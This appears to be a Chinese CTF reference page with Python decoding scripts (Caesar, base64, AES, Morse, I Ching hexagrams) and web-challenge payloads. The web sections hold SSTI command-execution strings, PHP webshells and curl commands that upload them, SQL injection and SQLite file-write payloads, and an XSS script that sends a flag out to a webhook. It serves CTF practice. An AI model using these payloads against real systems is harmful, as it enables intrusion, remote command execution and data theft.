跳转至

CTF常用解密脚本

编码解码

import html

s = "key{you are right}"
html.unescape(s) #key{you are right}  # html.escape(s)

# urlencode, urldecode
from urllib import parse

s = "https://vjob.top/Bash/%E5%BA%94%E8%AF%A5%E7%9F%A5%E9%81%93%E7%9A%84Linux%E6%8A%80%E5%B7%A7/"
print(parse.unquote(s))  # parse.quote(s)

# 智能判断编码类型
import chardet
chardet.detect(s.encode('utf-8')) # {'encoding': 'utf-8', 'confidence': 0.99, 'language': ''}

爆破

x=b'SRJPSQBUJYPHNC'
for i in range(1,26):
    r = []
    for j in x:
        if j == ord(' '): 
            r.append(j)
            continue
        t = j + i
        if j <= ord('z') and j >= ord('a'):
            if t > ord('z'): t = t - ord('z') + ord('a') - 1
        elif j <= ord('Z') and j >= ord('A'):
            if t > ord('Z'): t = t - ord('Z') + ord('A') - 1
        r.append(t)
    print(bytes(r))

凯撒密码

symbols = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890 !?.'

ciphertext = input("Please input ciphertext:\n")      # guv6Jv6Jz!J6rp5r7Jzr66ntrM

for key in range(len(symbols)):
    ciphers = symbols[key:] + symbols[:key]
    transtab = str.maketrans(ciphers, symbols)
    plaintext = ciphertext.translate(transtab)
    print(f'Key #{key}: {plaintext}')                # Key #13: This is my secret message.

根据偏移量的不同,还存在若干特定的恺撒密码名称:

  • 偏移量为 10:Avocat (A→K)
  • 偏移量为 13:ROT13
  • 偏移量为 -5:Cassis (K 6)
  • 偏移量为 -6:Cassette (K 7)

base64换表

import base64
import string

str1 = "mTyqm7wjODkrNLcWl0eqO8K8gc1BPk1GNLgUpI=="

string1 = "AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0987654321/+"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))

AES加密解密

from Crypto.Cipher import AES

def AES_Encrypt(key, data):
    #vi = b'0102030405060708'
    #cipher = AES.new(key, AES.MODE_CBC vi)
    cipher = AES.new(key, AES.MODE_ECB)  
    #pad = lambda s: s + (16 - len(s)%16) * (16 - len(s)%16).to_bytes(1,"little")
    #data = pad(data)    
    encryptedbytes = cipher.encrypt(data)
    return encryptedbytes

def AES_Decrypt(key, data):
    #vi = b'0102030405060708'
    #cipher = AES.new(key, AES.MODE_CBC vi)
    cipher = AES.new(key, AES.MODE_ECB)
    text_decrypted = cipher.decrypt(data)
    #unpad = lambda s: s[0:-s[-1]]
    #text_decrypted = unpad(text_decrypted)
    return text_decrypted


rawkey = b'this_is_the_key.'
key = []
for i in range(0,len(rawkey),2):
    key.append(rawkey[i+1])
    key.append(rawkey[i])

key = bytes(key)
print("key = ", key)
data = [21, -93, -68, -94, 86, 117, -19, -68, -92, 33, 50, 118, 16, 13, 1, -15, -13, 3, 4, 103, -18, 81, 30, 68, 54, -93, 44, -23, 93, 98, 5, 59]
enctext = b"" # int.from_bytes(data, byteorder='big', signed=True)
for x in data:
    enctext = enctext + (x%256).to_bytes(1,"little")
print("data = ", enctext)
#data = bytes(data)
#key = b'0CoJUm6Qyw8W8jud'
#data = b'sdadsdsdsfd'
#enctext = AES_Encrypt(key, data)
text_decrypted = AES_Decrypt(key, enctext)
print(text_decrypted)

摩尔斯电码

又译为摩斯密码,Morse code

MorseList = {
    ".-": "A", "-...": "B", "-.-.": "C", "-..": "D", ".": "E", "..-.": "F", "--.": "G",
    "....": "H", "..": "I", ".---": "J", "-.-": "K", ".-..": "L", "--": "M", "-.": "N",
    "---": "O", ".--.": "P", "--.-": "Q", ".-.": "R", "...": "S", "-": "T",
    "..-": "U", "...-": "V", ".--": "W", "-..-": "X", "-.--": "Y", "--..": "Z",
    "-----": "0", ".----": "1", "..---": "2", "...--": "3", "....-": "4",
    ".....": "5", "-....": "6", "--...": "7", "---..": "8", "----.": "9",
    ".-.-.-": ".", "---...": ":", "--..--": ",", "-.-.-.": ";", "..--..": "?",
    "-...-": "=", ".----.": "'", "-..-.": "/", "-.-.--": "!", "-....-": "-",
    "..--.-": "_", ".-..-.": '"', "-.--.": "(", "-.--.-": ")", "...-..-": "$",
    "....": "&", ".--.-.": "@", ".-.-.": "+",
}


def morse(string, sign=" "):
    lists = string.split(sign)
    for code in lists:
        print(MorseList.get(code), end="")

morse("..-./.-../.-/--.", "/")

struct 模块

import struct

struct.pack('>I',16)  # '\x00\x00\x00\x10'  
# pack的第一个参数是处理指令,'>I'的意思是:
# >表示字节顺序是big-endian,也就是网络序,I表示4字节无符号整数。

struct.unpack('>IH', b'\xf0\xf0\xf0\xf0\x80\x80')  # (4042322160, 32896)
# bytes依次变为 I:4字节无符号整数 H:2字节无符号整数。

SimpleHTTPServer

#!/usr/bin/env python3                                                                                                                                                                                     
import http.server as SimpleHTTPServer
import socketserver as SocketServer

PORT = 8001

class GetHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
    def do_GET(self):
        ip = self.client_address[0]
        print("---------" + ip + "----------")
        print(self.headers)
        self.send_response(200)
        self.send_header('Content-type', 'text/plain')
        self.end_headers()
        if self.path.endswith('/flag'):
            self.wfile.write(b'flag{xxx}')
        else:
            #SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self)
            self.wfile.write(ip.encode())

Handler = GetHandler
httpd = SocketServer.TCPServer(("", PORT), Handler)

httpd.serve_forever()


### payload.js
var request = new XMLHttpRequest();
request.onload = sendBack;
request.open('GET','https://xtra-salty-sardines.web.actf.co/flag');
request.send();

function sendBack(){
        location = '<WEB HOOK URL>/result?result=' + btoa(this.responseText);  # https://webhook.site/
}

排列组合

#Python:排列组合三个函数permutations,combinations,product

from itertools import permutations,combinations,product

a = [1,2,3,4]
b = [5,6,7,8]

A = permutations(a,3)  # 排列
print(list(A))

B = combinations(a,3) # 组合
print(list(B))

C = product(a,b) # 两个集合元素的互组合
print(list(C))

Python Web

SSTI

http://114.67.175.224:15295/?flag={{4*4}}  #确认存在SSTI
http://114.67.175.224:15295/?flag={{''.__class__.__mro__[1].__subclasses__()}}  # 查看函数, OBJECT.__class__.__mro__[1].__subclasses__()
http://114.67.175.224:15295/?flag={{''.__class__.__mro__[1].__subclasses__()[425]}} # 定位Popen

{{ ''.__class__.__mro__[1].__subclasses__()[425]('id', shell=True, stdout=-1).communicate()[0].strip() }} #执行命令
{{ ''.__class__.__mro__[1].__subclasses__()[425]('cat flag ', shell=True, stdout=-1).communicate()[0].strip() }} # 获取flag

# 常用到的几个魔术方法
__class__() 返回对象的类
__base__()/__mro__() 返回类所继承的基类
__subclasses__() 返回继承该类的所有子类

###
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_xxx.txt')[request.args.d]()}}?&a=__class__&b=__mro__&c=__subclasses__&d=read
###

### Flask特有的变量和函数
config
  config 对象就是Flask的config对象,也就是 app.config 对象
request
  Flask中代表当前请求的request对象
session
  Flask的session对象
url_for()
  url_for会根据传入的路由器函数名,返回该路由对应的URL,在模板中始终使用url_for()就可以安全的修改路由绑定的URL,则不比担心模板中渲染出错的链接
get_flashed_messages()
  这个函数会返回之前在flask中通过flask()传入的消息的列表,flash函数的作用很简单,可以把由Python字符串表示的消息加入一个消息队列中,再使用get_flashed_message()函数取出它们并消费掉
# {{get_flashed_messages.__globals__['current_app'].config}}
# {{url_for.__globals__['current_app'].config}}

# tplmap
https://github.com/epinna/tplmap.git

PHP Web

eval( "var_dump($a);");  # var_dump(file('flag.php'));
eval("var_dump($args);"); # var_dump(GLOBALS);

php://filter/read=convert.base64-encode/resource=index.php  #文件包含 https://blog.csdn.net/qq_32393893/article/details/110228864

key1[]=1&key2[]=2 # md5($key1) == md5($key2) && $key1 !== $key2

assert($_GET['s'])  # ?s=system('ls')

system|readfile|gz|exec|eval|cat|assert|file|fgets  #passthru

### never_give_up
# curl -X POST  "http://ip:port/index.php?id=x&a=php://input&b=%0012345" --data "bugku is a nice plateform!"
# file_get_contents 用 php://input 绕过

if(!$_GET['id'])
{
    header('Location: hello.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'no no no no no no no';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    $flag = "flag{***********}"
}
else
{
    print "never never never give up !!!";
}

# 数组绕过
($v1 != $v2 && md5($v1) == md5($v2))  # v1[]=1&v2[]=2
md5(array()) = null
sha1(array()) = null    
ereg(pattern,array()) = null vs preg_match(pattern,array) = false
strcmp(array(), "abc") = null
strpos(array(),"abc") = null

#序列化
当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。  #绕过__wakeup()函数
根据访问控制修饰符的不同 序列化后的 属性长度和属性值会有所不同 #
  -  public(公有)
  -  protected(受保护)
  -  private(私有的)
  -  protected属性被序列化的时候属性值会变成:%00*%00属性名
  -  private属性被序列化的时候属性值会变成:%00类名%00属性名

<?php
class ctf
{
    protected $username = 'admin';
    //protected $cmd = 'file("flag.php")';
    protected $cmd = 'tac flag.php';
}
$ctf = new ctf();
var_dump(serialize($ctf));
?>
$ php -f  test.php
string(78) "O:3:"ctf":2:{s:11:"*username";s:5:"admin";s:6:"*cmd";s:12:"tac flag.php";}"

#短标签绕过
?flag=$a='blag';$a{0}='f';?>11111110001111111;<?=$$a;?>,

(用<?= ?>代替php标签。<?= ?>短标签会直接把php的结果输出,<? ?>的功能则和<?php?>完全一样。过滤空格可以用\t绕过,或者%09也是tab的URL编码。php反引号中的字符串会被当作命令执行) 

通过php内置协议直接读取代码
/index.php?page=php://filter/read=convert.base64-encode/resource=index.php

PHP数组key溢出,简单的说就是stuff[4294967296]表示的值,与stuff[0]是一个
参考https://bugs.php.net/bug.php?id=69892的提示

NodeJS

vm.run( Buffer(500) );   // 在较早一点的 node 版本中 (8.0 之前),当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。

curl

#上传文件test.png
curl -X POST  -F "file=@test.png" -H "Content-Type: multipart/form-data" 'http://host:port/post-file-path'

# IP 绕过: -H "X-Forwarded-For: 127.0.0.1"

# PHP 一句话木马
形式1 <?php eval(@$_POST['_']); ?>
形式2 <script language="php">@eval($_POST[_])</script>  

curl ... --data-raw 'image=data%3Aimage/php%3Bbase64%2CPD9waHAgZXZhbChAJF9QT1NUWydfJ10pOyA/Pg%3D%3D' 
curl -X POST ... --data "_=system(%22ls%22);"
curl ... -F "file=@a.php4;type=image/jpeg"  -H "Content-Type: multiPart/Form-data" 'http://host:port/post-file-path'

SQL注入

0' union select 1,2,3,4# #存在注入
0' union select 1,2,3,database()#   #数据库名
0' union select 1,2,3,table_name from information_schema.tables where table_schema='skctf'# #表名
0' union select 1,2,3,column_name from information_schema.columns where table_name='fl4g'#  #列名
0' union select 1,2,3,skctf_flag from fl4g#  # flag{...}


python sqlmap.py -u 'http://114.67.175.224:13433/index.php'  --data 'id=1' --current-db
python sqlmap.py -u 'http://114.67.175.224:13433/index.php'  --data 'id=1' --dump


1'; SHOW DATABASES;#  #数据库名
1'; SHOW TABLES from ctftraining;#  #表名
1'; use ctftraining; show columns from FLAG_TABLE;#   #列名
# list(b"select * from supersqli.1919810931114514")  # Python convert, 关键字select|update|delete|drop|insert|where|.被过滤
1';SET @a=char(115, 101, 108, 101, 99, 116, 32, 42, 32, 102, 114, 111, 109, 32, 115, 117, 112, 101, 114, 115, 113, 108, 105, 46, 49, 57, 49, 57, 56, 49, 48, 57, 51, 49, 49, 49, 52, 53, 49, 52);PREPARE hacker from @a;EXECUTE hacker;#

# SQLlite ATTACH database can be used to write file
ATTACH DATABASE 'XXX.php' AS a; CREATE TABLE a.b(c text); INSERT INTO a.b(c) VALUES( \"<?php system($_GET[0]); ?> \");

其它

# Android备份文件解压
( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" ; tail -c +25 app3.ab ) |  tar xfvz -

# 打印文件
xargs cat < files

# GitHack
https://github.com/lijiejie/GitHack.git
#git-dumper
https://github.com/arthaud/git-dumper
# GitTools
https://github.com/internetwache/GitTools

六十四卦

_64gua = [
"乾","坤","屯","蒙","需","讼","师","比","小畜","履","泰","否","同人","大有","谦","豫","随","蛊","临","观","噬嗑","贲","剥","复","无妄","大畜","颐","大过","坎","离",
"咸","恒","遁","大壮","晋","明夷","家人","睽","蹇","解","损","益","夬","姤","萃","升","困","井","革","鼎","震","艮","渐","归妹","丰","旅","巽","兑","涣","节","中孚","小过","既济","未济"]

s="升益艮归妹井萃旅离旅困未济屯未济中孚未济升困噬嗑鼎震巽噬嗑解节井萃离未济蒙归妹大畜无妄解兑临睽升睽未济无妄遁涣归妹"
res = []
i = 0
while True:
    if s[i:i+1] in _64gua:
        res.append(_64gua.index(s[i]))
        i = i + 1
    elif s[i:i+2] in _64gua:
        res.append(_64gua.index(s[i:i+2]))
        i = i + 2
    else:
        res.append(s[i])
        i = i + 1
    if i >= len(s): break
print(res)

dic = {
    '坤': '000000', '剥': '000001', '比': '000010', '观': '000011', '豫': '000100', '晋': '000101', '萃': '000110', '否': '000111', '谦': '001000', '艮': '001001', '蹇': '001010', '渐': '001011', '小过': '001100', '旅': '001101', '咸': '001110', '遁': '001111', '师': '010000', '蒙': '010001', '坎': '010010', '涣': '010011', '解': '010100', '未济': '010101', '困': '010110', '讼': '010111', '升': '011000', '蛊': '011001', '井': '011010', '巽': '011011', '恒': '011100', '鼎': '011101', '大过': '011110', '姤': '011111',
       '复': '100000', '颐': '100001', '屯': '100010', '益': '100011', '震': '100100', '噬嗑': '100101', '随': '100110', '无妄': '100111', '明夷': '101000', '贲': '101001', '既济': '101010', '家人': '101011', '丰': '101100', '离': '101101', '革': '101110', '同人': '101111', '临': '110000', '损': '110001', '节': '110010', '中孚': '110011', '归妹': '110100', '睽': '110101', '兑': '110110', '履': '110111', '泰': '111000', '大畜': '111001', '需': '111010', '小畜': '111011', '大壮': '111100', '大有': '111101', '夬': '111110', '乾': '111111'}
l = []
k = 0  # 两个字符的标志位
for i in range(len(s)):
    if k == 1:
        k = 0
        continue
    try:
        l.append(dic[s[i]])
    except:
        l.append(dic[s[i]+s[i+1]])
        k = 1

ss = ''.join(l)
ss = ss + ('0'*(8- len(ss) % 8))
ss = int(ss, 2)
ss = long_to_bytes(ss)
s = base64.b64decode(ss)